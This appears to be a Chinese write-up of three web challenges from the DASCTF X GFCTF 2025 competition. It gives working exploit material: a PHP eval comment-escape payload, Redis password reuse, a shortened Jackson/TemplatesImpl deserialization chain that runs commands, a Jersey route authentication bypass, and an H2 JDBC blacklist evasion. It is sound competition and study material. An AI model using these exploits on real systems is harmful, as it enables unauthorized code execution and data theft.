目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. phpms
    2. 2.2. 再短一点点(复现)
    3. 2.3. 泽西岛(复现)
      1. 2.3.1. jersey 资源请求匹配
      2. 2.3.2. 绕过

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

DASCTF X GFCTF 2025

2025/6/21 CTF线上赛 文件包含 Redis JDBC Jackson
  |     |   总文章阅读量:

前言

官方 wp:https://www.yuque.com/chuangfeimeiyigeren/eeii37/bkp6ldnifm2k3o1a?singleDoc#cC8ZK

Team:NISA

Rank:31

Score:1200

image-20250622231025903


Web

phpms

git泄露

index.php

<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){
    echo ':(';
}else{
    eval("#$shell");
}
?>

?>闭合注释,测试发现开了 disable_functions

尝试用原生类扫目录

?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}

发现 /var/www/html 下还有 no_careee.php

/ 下有 hintflag

使用 SplFileObject 读取,hintflag 没权限

?><?php echo new SplFileObject('php://filter/convert.base64-encode/resource=/var/www/html/no_careee.php');

no_careee.php

<?php
function block_if_dangerous_code($input) {
    // 定义正则:匹配函数名,忽略大小写,捕获具体匹配内容
    if (preg_match('/\b(eval|include|include_once|require|require_once)\b/i', $input, $match)) {
        $matched_func = $match[1];  // 捕获到的函数名
        echo "<br />";
        echo "<b>Warning</b>: {$matched_func} has been disabled for security reasons in <b>/var/www/html/index.php(6) : eval()'d code</b> on line <b>1</b><br />";
        exit;
    }
}

// 检查 GET 参数 shell
if (isset($_GET['shell'])) {
    block_if_dangerous_code($_GET['shell']);
}

?>

没啥用

尝试读 /proc/self/maps 和 libc-2.31.so 打 filterchain rce,payload 生成脚本:kezibei/php-filter-iconv

image-20250621195446239

不出网,只能 rce 写到 /tmp 下

试图提权

echo `find / -perm -u=s -type f 2>/dev/null`>/tmp/5.txt

/usr/sbin/exim4
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/bin/umount
/bin/su
/bin/mount


/usr/sbin/exim4 --version > /tmp/5.txt

Exim version 4.94.2 #2 built 09-Jul-2024 09:01:33

exim 版本高了,提不了

看一下 ban 的方法

php -i | grep disable_functions
Configuration File (php.ini) Path => /usr/local/etc/php
disable_functions => zend_version,func_num_args,func_get_arg,func_get_args,strlen,strcmp,strncmp,strcasecmp,strncasecmp,each,error_reporting,define,defined,get_class,get_called_class,get_parent_class,method_exists,property_exists,class_exists,interface_exists,trait_exists,function_exists,class_alias,get_included_files,get_required_files,is_subclass_of,is_a,get_class_vars,get_object_vars,get_mangled_object_vars,get_class_methods,trigger_error,user_error,set_error_handler,restore_error_handler,set_exception_handler,restore_exception_handler,get_declared_classes,get_declared_traits,get_declared_interfaces,get_defined_functions,get_defined_vars,create_function,get_resource_type,get_resources,get_loaded_extensions,extension_loaded,get_extension_funcs,get_defined_constants,debug_backtrace,debug_print_backtrace,gc_mem_caches,gc_collect_cycles,gc_enabled,gc_enable,gc_disable,gc_status,strtotime,date,idate,gmdate,mktime,gmmktime,checkdate,strftime,gmstrftime,time,localtime,getdate,date_create,date_create_immutable,date_create_from_format,date_create_immutable_from_format,date_parse,date_parse_from_format,date_get_last_errors,date_format,date_modify,date_add,date_sub,date_timezone_get,date_timezone_set,date_offset_get,date_diff,date_time_set,date_date_set,date_isodate_set,date_timestamp_set,date_timestamp_get,timezone_open,timezone_name_get,timezone_name_from_abbr,timezone_offset_get,timezone_transitions_get,timezone_location_get,timezone_identifiers_list,timezone_abbreviations_list,timezone_version_get,date_interval_create_from_date_string,date_interval_format,date_default_timezone_set,date_default_timezone_get,date_sunrise,date_sunset,date_sun_info,libxml_set_streams_context,libxml_use_internal_errors,libxml_get_last_error,libxml_clear_errors,libxml_get_errors,libxml_disable_entity_loader,libxml_set_external_entity_loader,preg_match_all,preg_replace,preg_replace_callback,preg_replace_callback_array,preg_filter,preg_split,preg_quote,preg_grep,preg_last_error,ctype_alnum,ctype_alpha,ctype_cntrl,ctype_digit,ctype_lower,ctype_graph,ctype_print,ctype_punct,ctype_space,ctype_upper,ctype_xdigit,dom_import_simplexml,finfo_open,finfo_close,finfo_set_flags,finfo_file,finfo_buffer,mime_content_type,filter_input,filter_var,filter_input_array,filter_var_array,filter_list,filter_has_var,filter_id,hash,hash_file,hash_hmac,hash_hmac_file,hash_init,hash_update,hash_update_stream,hash_update_file,hash_final,hash_copy,hash_algos,hash_hmac_algos,hash_pbkdf2,hash_equals,hash_hkdf,iconv,iconv_get_encoding,iconv_set_encoding,iconv_strlen,iconv_substr,iconv_strpos,iconv_strrpos,iconv_mime_encode,iconv_mime_decode,iconv_mime_decode_headers,json_encode,json_decode,json_last_error,json_last_error_msg,pdo_drivers,posix_kill,posix_getpid,posix_getppid,posix_getuid,posix_setuid,posix_geteuid,posix_seteuid,posix_getgid,posix_setgid,posix_getegid,posix_setegid,posix_getgroups,posix_getlogin,posix_getpgrp,posix_setsid,posix_setpgid,posix_getpgid,posix_getsid,posix_uname,posix_times,posix_ctermid,posix_ttyname,posix_isatty,posix_getcwd,posix_mkfifo,posix_mknod,posix_access,posix_getgrnam,posix_getgrgid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_setrlimit,posix_get_last_error,posix_errno,posix_strerror,posix_initgroups,session_name,session_module_name,session_save_path,session_id,session_create_id,session_regenerate_id,session_decode,session_encode,session_start,session_destroy,session_unset,session_gc,session_set_save_handler,session_cache_limiter,session_cache_expire,session_set_cookie_params,session_get_cookie_params,session_write_close,session_abort,session_reset,session_status,session_register_shutdown,session_commit,simplexml_load_file,simplexml_load_string,simplexml_import_dom,spl_classes,spl_autoload,spl_autoload_extensions,spl_autoload_register,spl_autoload_unregister,spl_autoload_functions,spl_autoload_call,class_parents,class_implements,class_uses,spl_object_hash,spl_object_id,iterator_to_array,iterator_count,iterator_apply,constant,bin2hex,hex2bin,sleep,usleep,time_nanosleep,time_sleep_until,strptime,flush,wordwrap,htmlspecialchars,htmlentities,html_entity_decode,htmlspecialchars_decode,get_html_translation_table,sha1,sha1_file,md5,md5_file,crc32,iptcparse,iptcembed,getimagesize,getimagesizefromstring,image_type_to_mime_type,image_type_to_extension,phpversion,phpcredits,php_sapi_name,php_uname,php_ini_scanned_files,php_ini_loaded_file,phpinfo,strnatcmp,strnatcasecmp,substr_count,strspn,strcspn,strtok,strtoupper,strtolower,strpos,stripos,strrpos,strripos,strrev,hebrev,hebrevc,nl2br,basename,dirname,pathinfo,stripslashes,stripcslashes,strstr,stristr,strrchr,str_shuffle,str_word_count,str_split,strpbrk,substr_compare,utf8_encode,utf8_decode,strcoll,money_format,substr,substr_replace,quotemeta,ucfirst,lcfirst,ucwords,strtr,addslashes,addcslashes,rtrim,str_replace,str_ireplace,str_repeat,count_chars,chunk_split,trim,ltrim,strip_tags,similar_text,explode,implode,join,setlocale,localeconv,nl_langinfo,soundex,levenshtein,chr,ord,parse_str,str_getcsv,str_pad,chop,strchr,sprintf,printf,vprintf,vsprintf,fprintf,vfprintf,sscanf,fscanf,parse_url,urlencode,urldecode,rawurlencode,rawurldecode,http_build_query,readlink,linkinfo,symlink,link,unlink,exec,system,escapeshellcmd,escapeshellarg,passthru,shell_exec,proc_open,proc_close,proc_terminate,proc_get_status,proc_nice,rand,srand,getrandmax,mt_rand,mt_srand,mt_getrandmax,random_bytes,random_int,getservbyname,getservbyport,getprotobyname,getprotobynumber,getmyuid,getmygid,getmypid,getmyinode,getlastmod,base64_decode,base64_encode,password_hash,password_get_info,password_needs_rehash,password_verify,password_algos,convert_uuencode,convert_uudecode,abs,ceil,floor,round,sin,cos,tan,asin,acos,atan,atanh,atan2,sinh,cosh,tanh,asinh,acosh,expm1,log1p,pi,is_finite,is_nan,is_infinite,pow,exp,log,log10,sqrt,hypot,deg2rad,rad2deg,bindec,hexdec,octdec,decbin,decoct,dechex,base_convert,number_format,fmod,intdiv,inet_ntop,inet_pton,ip2long,long2ip,getenv,putenv,getopt,sys_getloadavg,microtime,gettimeofday,getrusage,hrtime,uniqid,quoted_printable_decode,quoted_printable_encode,convert_cyr_string,get_current_user,set_time_limit,header_register_callback,get_cfg_var,get_magic_quotes_gpc,get_magic_quotes_runtime,error_log,error_get_last,error_clear_last,call_user_func,call_user_func_array,forward_static_call,forward_static_call_array,serialize,unserialize,var_dump,var_export,debug_zval_dump,print_r,memory_get_usage,memory_get_peak_usage,register_shutdown_function,register_tick_function,unregister_tick_function,highlight_file,show_source,highlight_string,php_strip_whitespace,ini_get,ini_get_all,ini_set,ini_alter,ini_restore,get_include_path,set_include_path,restore_include_path,setcookie,setrawcookie,header,header_remove,headers_sent,headers_list,http_response_code,connection_aborted,connection_status,ignore_user_abort,parse_ini_file,parse_ini_string,is_uploaded_file,move_uploaded_file,gethostbyaddr,gethostbyname,gethostbynamel,gethostname,net_get_interfaces,dns_check_record,checkdnsrr,dns_get_mx,getmxrr,dns_get_record,intval,floatval,doubleval,strval,boolval,gettype,settype,is_null,is_resource,is_bool,is_int,is_float,is_integer,is_long,is_double,is_real,is_numeric,is_string,is_array,is_object,is_scalar,is_callable,is_iterable,is_countable,pclose,popen,readfile,rewind,rmdir,umask,fclose,feof,fgetc,fgets,fgetss,fread,fopen,fpassthru,ftruncate,fstat,fseek,ftell,fflush,fwrite,fputs,mkdir,rename,copy,tempnam,tmpfile,file,file_get_contents,file_put_contents,stream_select,stream_context_create,stream_context_set_params,stream_context_get_params,stream_context_set_option,stream_context_get_options,stream_context_get_default,stream_context_set_default,stream_filter_prepend,stream_filter_append,stream_filter_remove,stream_socket_client,stream_socket_server,stream_socket_accept,stream_socket_get_name,stream_socket_recvfrom,stream_socket_sendto,stream_socket_enable_crypto,stream_socket_shutdown,stream_socket_pair,stream_copy_to_stream,stream_get_contents,stream_supports_lock,stream_isatty,fgetcsv,fputcsv,flock,get_meta_tags,stream_set_read_buffer,stream_set_write_buffer,set_file_buffer,stream_set_chunk_size,stream_set_blocking,socket_set_blocking,stream_get_meta_data,stream_get_line,stream_wrapper_register,stream_register_wrapper,stream_wrapper_unregister,stream_wrapper_restore,stream_get_wrappers,stream_get_transports,stream_resolve_include_path,stream_is_local,get_headers,stream_set_timeout,socket_set_timeout,socket_get_status,realpath,fnmatch,fsockopen,pfsockopen,pack,unpack,get_browser,crypt,opendir,closedir,chdir,chroot,getcwd,rewinddir,readdir,dir,scandir,glob,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,filesize,filetype,file_exists,is_writable,is_writeable,is_readable,is_executable,is_file,is_dir,is_link,stat,lstat,chown,chgrp,lchown,lchgrp,chmod,touch,clearstatcache,disk_total_space,disk_free_space,diskfreespace,realpath_cache_size,realpath_cache_get,mail,ezmlm_hash,openlog,syslog,closelog,lcg_value,metaphone,ob_start,ob_flush,ob_clean,ob_end_flush,ob_end_clean,ob_get_flush,ob_get_clean,ob_get_length,ob_get_level,ob_get_status,ob_get_contents,ob_implicit_flush,ob_list_handlers,ksort,krsort,natsort,natcasesort,asort,arsort,sort,rsort,usort,uasort,uksort,shuffle,array_walk,array_walk_recursive,count,end,prev,next,reset,current,key,min,max,in_array,array_search,extract,compact,array_fill,array_fill_keys,range,array_multisort,array_push,array_pop,array_shift,array_unshift,array_splice,array_slice,array_merge,array_merge_recursive,array_replace,array_replace_recursive,array_keys,array_key_first,array_key_last,array_values,array_count_values,array_column,array_reverse,array_reduce,array_pad,array_flip,array_change_key_case,array_rand,array_unique,array_intersect,array_intersect_key,array_intersect_ukey,array_uintersect,array_intersect_assoc,array_uintersect_assoc,array_intersect_uassoc,array_uintersect_uassoc,array_diff,array_diff_key,array_diff_ukey,array_udiff,array_diff_assoc,array_udiff_assoc,array_diff_uassoc,array_udiff_uassoc,array_sum,array_product,array_filter,array_map,array_chunk,array_combine,array_key_exists,pos,sizeof,key_exists,assert,assert_options,version_compare,ftok,str_rot13,stream_get_filters,stream_filter_register,stream_bucket_make_writeable,stream_bucket_prepend,stream_bucket_append,stream_bucket_new,output_add_rewrite_var,output_reset_rewrite_vars,sys_get_temp_dir,token_get_all,token_name,xml_parser_create,xml_parser_create_ns,xml_set_object,xml_set_element_handler,xml_set_character_data_handler,xml_set_processing_instruction_handler,xml_set_default_handler,xml_set_unparsed_entity_decl_handler,xml_set_notation_decl_handler,xml_set_external_entity_ref_handler,xml_set_start_namespace_decl_handler,xml_set_end_namespace_decl_handler,xml_parse,xml_parse_into_struct,xml_get_error_code,xml_error_string,xml_get_current_line_number,xml_get_current_column_number,xml_get_current_byte_index,xml_parser_free,xml_parser_set_option,xml_parser_get_option,xmlwriter_open_uri,xmlwriter_open_memory,xmlwriter_set_indent,xmlwriter_set_indent_string,xmlwriter_start_comment,xmlwriter_end_comment,xmlwriter_start_attribute,xmlwriter_end_attribute,xmlwriter_write_attribute,xmlwriter_start_attribute_ns,xmlwriter_write_attribute_ns,xmlwriter_start_element,xmlwriter_end_element,xmlwriter_full_end_element,xmlwriter_start_element_ns,xmlwriter_write_element,xmlwriter_write_element_ns,xmlwriter_start_pi,xmlwriter_end_pi,xmlwriter_write_pi,xmlwriter_start_cdata,xmlwriter_end_cdata,xmlwriter_write_cdata,xmlwriter_text,xmlwriter_write_raw,xmlwriter_start_document,xmlwriter_end_document,xmlwriter_write_comment,xmlwriter_start_dtd,xmlwriter_end_dtd,xmlwriter_write_dtd,xmlwriter_start_dtd_element,xmlwriter_end_dtd_element,xmlwriter_write_dtd_element,xmlwriter_start_dtd_attlist,xmlwriter_end_dtd_attlist,xmlwriter_write_dtd_attlist,xmlwriter_start_dtd_entity,xmlwriter_end_dtd_entity,xmlwriter_write_dtd_entity,xmlwriter_output_memory,xmlwriter_flush,dl,cli_set_process_title,cli_get_process_title,curl_init,curl_exec,curl_setopt,curl_close,include,require_once,require,include_once,gzopen,gzeof,gzgets,gzclose,mb_strrpos,readgzfile,gzfile,gzgetss,gzread

几乎全ban

ps -ef 看一下进程

UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 02:01 ?        00:00:00 /bin/sh -c /start.sh
root         7     1  0 02:01 ?        00:00:00 /bin/bash /start.sh
root        13     1  0 02:01 ?        00:00:24 redis-server 127.0.0.1:6379
root        28     7  0 02:01 ?        00:00:00 apache2 -DFOREGROUND
www-data   228    28  0 06:05 ?        00:00:00 apache2 -DFOREGROUND
www-data   236    28  0 06:07 ?        00:00:00 apache2 -DFOREGROUND
www-data   240    28  0 06:08 ?        00:00:00 apache2 -DFOREGROUND
www-data   245    28  0 06:36 ?        00:00:00 apache2 -DFOREGROUND
www-data   253    28  0 06:43 ?        00:00:00 apache2 -DFOREGROUND
www-data   255    28  0 06:43 ?        00:00:00 [apache2] <defunct>
www-data  1805     1  0 06:53 ?        00:00:00 sh -c sleep 1; kill -9 $PPID; ps -ef > /tmp/5.txt
www-data  1807  1805  0 06:53 ?        00:00:00 ps -ef

发现一个 redis 服务

读取 /etc/redis.conf 得到 redis 密码

################################## SECURITY ###################################

# Require clients to issue AUTH <PASSWORD> before processing any other
# commands.  This might be useful in environments in which you do not trust
# others with access to the host running redis-server.
#
# This should stay commented out for backward compatibility and because most
# people do not need auth (e.g. they run their own servers).
#
# Warning: since Redis is pretty fast an outside user can try up to
# 150k passwords per second against a good box. This means that you should
# use a very strong password otherwise it will be very easy to break.
#
requirepass admin123

构造 redis 命令,查询发现 flag 在数据库中,读取 flag 即可

redis-cli -a admin123 KEYS "*" > /tmp/5.txt
redis-cli -a admin123 GET "flag" > /tmp/5.txt

image-20250621153131344


再短一点点(复现)

@GetMapping({"/flag"})
@ResponseBody
public String flag() throws IOException {
    File file = new File("/a");
    if (file.exists()) {
        return "Good luck~";
    } else {
        BufferedReader reader = new BufferedReader(new FileReader("/flag"));
        return "Congratulations, you deserve it: " + reader.readLine();
    }
}

@PostMapping({"/deser"})
@ResponseBody
public String deserialize(@RequestParam String payload) {
    if (payload.length() > 1282) {
        return "Your payload is too long! Go back and modify it!!!";
    } else {
        byte[] bytes = Base64.getDecoder().decode(payload);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);

        try {
            MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new InflaterInputStream(byteArrayInputStream));
            myObjectInputStream.readObject();
            return "Ok";
        } catch (InvalidClassException var8) {
            return var8.getMessage();
        } catch (Exception var9) {
            var9.printStackTrace();
            StringWriter sw = new StringWriter();
            PrintWriter pw = new PrintWriter(sw);
            var9.printStackTrace(pw);
            String stackTrace = sw.toString();
            return stackTrace.contains("getStylesheetDOM") ? "命运的硬币抛向了反面,重启环境试试?" : "something went wrong :(";
        }
    }
    
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        String[] denyClasses = new String[]{"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "org.springframework.aop.aspectj"};
        String[] var4 = denyClasses;
        int var5 = denyClasses.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            String denyClass = var4[var6];
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }

        return super.resolveClass(desc);
    }

只要执行 rm /a 就能得到 flag, jackson 2.13.5

过滤 com.sun.org.apache.xalan.internal.xsltc.trax 又要打二次反序列化,过滤 javax.management 直接 EventListenerList 链触发 toString 即可

链子长度不超过 1282,这里还特意标了个 getStylesheetDOM,关于java反序列化中jackson链子不稳定问题

缩链子应该要参考
Java 反序列化PAYLOAD缩短初探-腾讯云开发者社区-腾讯云
https://mdr.skyeye.qianxin.com/forum/share/2137
https://cloud.tencent.cn/developer/article/2036035

首先我们需要修改序列化的方式:

byte[] bytes = Base64.getDecoder().decode(payload);  
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);  
  
try {  
    MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new InflaterInputStream(byteArrayInputStream));  
    myObjectInputStream.readObject();  
    return "Ok";  
}

因为这里使用 InflaterInputStream 来解压输入流,那么我们写序列化的时候就需要使用 DeflaterOutputStream 压缩输出流

public static String deflaterSerialize(Object o) throws IOException {  
    ByteArrayOutputStream baos = new ByteArrayOutputStream(); 
    
    // 使用 Deflater 设置为最高压缩率  
    Deflater deflater = new Deflater(Deflater.BEST_COMPRESSION);  
    DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(baos, deflater);  
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(deflaterOutputStream);  
    objectOutputStream.writeObject(o); 
    
    // 关闭流  
    objectOutputStream.flush();  
    deflaterOutputStream.finish();  
    deflaterOutputStream.close();
    
    String str = Base64.getEncoder().encodeToString(baos.toByteArray());  
    return str;  
}

然后是用 event 链构造反序列化,这个在 fastjson 篇已经分析过了

TemplatesImpl obj = Utils.getTemplatesImpl();
POJONode pojonode = new POJONode(obj);  
EventListenerList eventListenerList = getEventListenerList(pojonode);

然后要进行二次序列化

SignedObject signedObject = second_serialize(eventListenerList);  
POJONode pojoNode2 = new POJONode(signedObject);  
EventListenerList eventListenerList2 = getEventListenerList(pojoNode2);


public static SignedObject second_serialize(Object o) throws Exception {  
    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");  
    kpg.initialize(1024);  
    KeyPair kp = kpg.generateKeyPair();  
    SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));  
    return signedObject;  
}

接下来是最难办的缩短长度,限制 1282,我的 Utils.GenerateEvil() 里有用到 javassist ,生成的 payload 长度在 1300 多

ClassPool pool = ClassPool.getDefault();  
CtClass ctClass = pool.makeClass("a");  
CtClass superClass = pool.get(AbstractTranslet.class.getName());  
ctClass.setSuperclass(superClass);  
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\""+command+"\");");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();

继续采用其他方法缩短,首先是去掉 TemplatesImpl 里 _name 自定义的字符串,即

TemplatesImpl templates = new TemplatesImpl();  
SetValue(templates, "_bytecodes", bytes);  
SetValue(templates, "_name", "");  
SetValue(templates, "_tfactory", null);

然后去掉为了让 jackson 链稳定的部分(其实我没这段也从来都没报错过)

再然后用 ASM 对 ctClass.toBytecode() 去除少量无用字节码(注意 spring-aop 的版本要对应)

package com.example;  
  
import org.springframework.asm.*;  
  
public class String_Short {  
    public static byte[] cleanBytecode(byte[] classBytes) {  
        ClassReader cr = new ClassReader(classBytes);  
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);  
        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {  
            @Override  
            public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {  
                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);  
                return new MethodVisitor(Opcodes.ASM9, mv) {  
                    @Override  
                    public void visitLineNumber(int line, Label start) {  
                        // Skip line numbers  
                    }  
                };  
            }  
        };  
        cr.accept(cv, ClassReader.SKIP_FRAMES | ClassReader.SKIP_DEBUG);  
        return cw.toByteArray();  
    }  
}

做完这些处理之后发现生成 payload 的长度会在 1292 上下浮动,直接一个 while 循环 fuzz 出一个足够短的 payload

最终 exp:

package com.jdkunser;  
  
import com.example.Utils;  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
  
import javax.swing.event.EventListenerList;  
import java.security.SignedObject;  
  
import static com.example.Gadget_Event2toString.getEventListenerList;  
import static com.example.Module_SecondSer.second_serialize;  
  
  
public class DoubleShortEventChain {  
    public static void main(String[] args) throws Exception {  
  
        ClassPool pool = ClassPool.getDefault();  
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");  
        ctClass0.removeMethod(writeReplace);  
        ctClass0.toClass();  
        TemplatesImpl obj = Utils.getTemplatesImpl();  
        while(true) {  
            POJONode pojonode = new POJONode(obj);  
            EventListenerList eventListenerList = getEventListenerList(pojonode);  
  
            SignedObject signedObject = second_serialize(eventListenerList);  
            POJONode pojoNode2 = new POJONode(signedObject);  
            EventListenerList eventListenerList2 = getEventListenerList(pojoNode2);  
  
            String barr = Utils.deflaterSerialize(eventListenerList2);  
            System.out.println(barr);  
            System.out.println(barr.length());  
            if (barr.length()<=1284){  
                break;  
            }  
        }  
    }  
}

1284,因为删掉最后两个字符不影响,所以出题人选了 1282 这个长度…

删掉最后两个字符打入 payload,赌 50% 的概率不炸,然后就能拿到 flag 了,注意老生常谈的 payload 里 + 要 url 编码,否则就变空格了


泽西岛(复现)

jersey 框架

web.xml

<servlet-mapping>  
  <servlet-name>Jersey Web Application</servlet-name>  
  <url-pattern>/api/*</url-pattern>  
</servlet-mapping>

基础路由 /api/

然后 /testConnect 下明显能打 h2 jdbc

package com.example.gfctf.controller;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import javax.ws.rs.FormParam;
import javax.ws.rs.POST;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;

@Path("/testConnect")
public class JDBCServlet {
    private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of("allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", "autoDeserialize", "queryInterceptors", "allowLoadLocalInfile", "allowMultiQueries", "init", "script", "shutdown").map(String::toUpperCase).collect(Collectors.toList());

    public static void validateJdbcUrl(String jdbcUrl) throws IllegalArgumentException {
        for(String disallowed : DEFAULT_JDBC_DISALLOWED_PARAMETERS) {
            if (jdbcUrl.toUpperCase().contains(disallowed)) {
                throw new IllegalArgumentException("JDBC URL " + jdbcUrl + " is invalid");
            }
        }

    }

    public static boolean testConnect(String jdbcUrl) {
        try {
            validateJdbcUrl(jdbcUrl);
            Class.forName("org.h2.Driver");
            Connection connection = DriverManager.getConnection(jdbcUrl);

            boolean var2;
            try {
                var2 = true;
            } catch (Throwable var5) {
                if (connection != null) {
                    try {
                        connection.close();
                    } catch (Throwable var4) {
                        var5.addSuppressed(var4);
                    }
                }

                throw var5;
            }

            if (connection != null) {
                connection.close();
            }

            return var2;
        } catch (SQLException | ClassNotFoundException | IllegalArgumentException e) {
            throw new RuntimeException(e);
        }
    }

    @POST
    @Produces({"text/plain"})
    public String testConnectWithParams(@FormParam("jdbcUrl") String jdbcUrl) {
        if (jdbcUrl != null && !jdbcUrl.isEmpty()) {
            if (!jdbcUrl.startsWith("jdbc:h2")) {
                throw new IllegalArgumentException("no supported JDBC URL");
            } else {
                jdbcUrl = jdbcUrl + ";FORBID_CREATION=TRUE";
                return testConnect(jdbcUrl) ? "Connection successful" : "Connection failed";
            }
        } else {
            throw new IllegalArgumentException("jdbcUrl is null or empty");
        }
    }
}

那么首先我们需要能访问 /testConnect

需要认证

key是随机生成的,无法预测或爆破

那么就得从这个框架本身入手尝试路由绕过了,直接翻出题人博客:https://blog.ph0ebus.cn/2025/04/03/Apache%20Pinot%20CVE-2024-56325%20Authentication%20Bypass%20%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

jersey 资源请求匹配

入口 org.glassfish.jersey.server.internal.routing.RoutingStage#apply

public Stage.Continuation<RequestProcessingContext> apply(RequestProcessingContext context) {
    ContainerRequest request = context.request();
    context.triggerEvent(Type.MATCHING_START);
    TracingLogger tracingLogger = TracingLogger.getInstance(request);
    long timestamp = tracingLogger.timestamp(ServerTraceEvent.MATCH_SUMMARY);

    Stage.Continuation var8;
    try {
        RoutingResult result = this._apply(context, this.routingRoot);
        Stage<RequestProcessingContext> nextStage = null;
        if (result.endpoint != null) {
            context.routingContext().setEndpoint(result.endpoint);
            nextStage = this.getDefaultNext();
        }

        var8 = Continuation.of(result.context, nextStage);
    } finally {
        tracingLogger.logDuration(ServerTraceEvent.MATCH_SUMMARY, timestamp, new Object[0]);
    }

    return var8;
}

下个断点发送请求,跟进到 _apply 方法,此处开始处理路由

跟进这个 apply,进入 org.glassfish.jersey.server.internal.routing.MatchResultInitializerRouter#apply

主要关注 rc.pushMatchResult(new SingleMatchResult("/" + processingContext.request().getPath(false)));

public String getPath(boolean decode) {
    if (decode) {
        return this.decodedRelativePath != null ? this.decodedRelativePath : (this.decodedRelativePath = UriComponent.decode(this.encodedRelativePath(), org.glassfish.jersey.uri.UriComponent.Type.PATH));
    } else {
        return this.encodedRelativePath();
    }
}

此处进行初始化路由匹配信息,getPath 设置为 False 即不进行 url 解码

然后 return 出来进入 SingleMatchResult

接下来就是核心部分了

private static String stripMatrixParams(String path) {
    int e = path.indexOf(59);
    if (e == -1) {
        return path;
    } else {
        int s = 0;
        StringBuilder sb = new StringBuilder();

        do {
            sb.append(path, s, e);
            s = path.indexOf(47, e + 1);
            if (s == -1) {
                break;
            }

            e = path.indexOf(59, s);
        } while(e != -1);

        if (s != -1) {
            sb.append(path, s, path.length());
        }

        return sb.toString();
    }
}

59 是 ; 、47 是 /

简单说就是忽略 ;/ 之间的内容,包括 ;,如果 ; 后面没有下一个 / 则忽略之后所有内容

例如 /aaa;bbb/ccc;dddd 传入该函数后会返回 /aaa/ccc,那么这里就是我们构造绕过的好位置了

绕过

回到题目,filter 这里除了限制了白名单路由无需认证外,满足不含 / 但是含 . 的要求也是无需认证的

@Provider
@PreMatching
public class AuthenticationFilter implements ContainerRequestFilter {
    private static final Set<String> WHITELIST = new HashSet(Arrays.asList("", "test", "login", "register"));
    private static final String AUTH_HEADER = "Authorization";
    private static final String BEARER_PREFIX = "Bearer ";

    public void filter(ContainerRequestContext containerRequestContext) {
        String path = containerRequestContext.getUriInfo().getPath();
        if (!isBaseFile(path) && !WHITELIST.contains(path)) {
            String authHeader = containerRequestContext.getHeaderString("Authorization");
            if (authHeader != null && authHeader.startsWith("Bearer ")) {
                String token = authHeader.substring("Bearer ".length());

                try {
                    DecodedJWT var5 = JwtValidator.verifyJwt(token);
                } catch (Exception var6) {
                    this.abortWithUnauthorized(containerRequestContext);
                }

            } else {
                this.abortWithUnauthorized(containerRequestContext);
            }
        }
    }

    private void abortWithUnauthorized(ContainerRequestContext containerRequestContext) {
        containerRequestContext.abortWith(Response.status(Status.UNAUTHORIZED).header("Location", "/401.jsp").build());
    }

    private static boolean isBaseFile(String path) {
        return !path.contains("/") && path.contains(".");
    }
}

于是 url 构造为 /api/testConnect;. 即可绕过

接下来看 JDBC

jdbcUrl = jdbcUrl + ";FORBID_CREATION=TRUE";

这里在末尾拼接了一个 ;FORBID_CREATION=TRUE,限制禁止创建数据库,使用内存数据库就是在创建数据库,但是直接拼接不是等着被 \ 转义吗

上边还有个黑名单:

private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of("allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", "autoDeserialize", "queryInterceptors", "allowLoadLocalInfile", "allowMultiQueries", "init", "script", "shutdown").map(String::toUpperCase).collect(Collectors.toList());

public static void validateJdbcUrl(String jdbcUrl) throws IllegalArgumentException {
    for(String disallowed : DEFAULT_JDBC_DISALLOWED_PARAMETERS) {
        if (jdbcUrl.toUpperCase().contains(disallowed)) {
            throw new IllegalArgumentException("JDBC URL " + jdbcUrl + " is invalid");
        }
    }
}

其实 JDBC 和命令执行一样,可以通过 \ 转义字母但不影响执行,如 INI\T,这个 trick 来自 https://github.com/dataease/dataease/commit/dd35752f298b1a4079d9993b622220d321b0c8a6

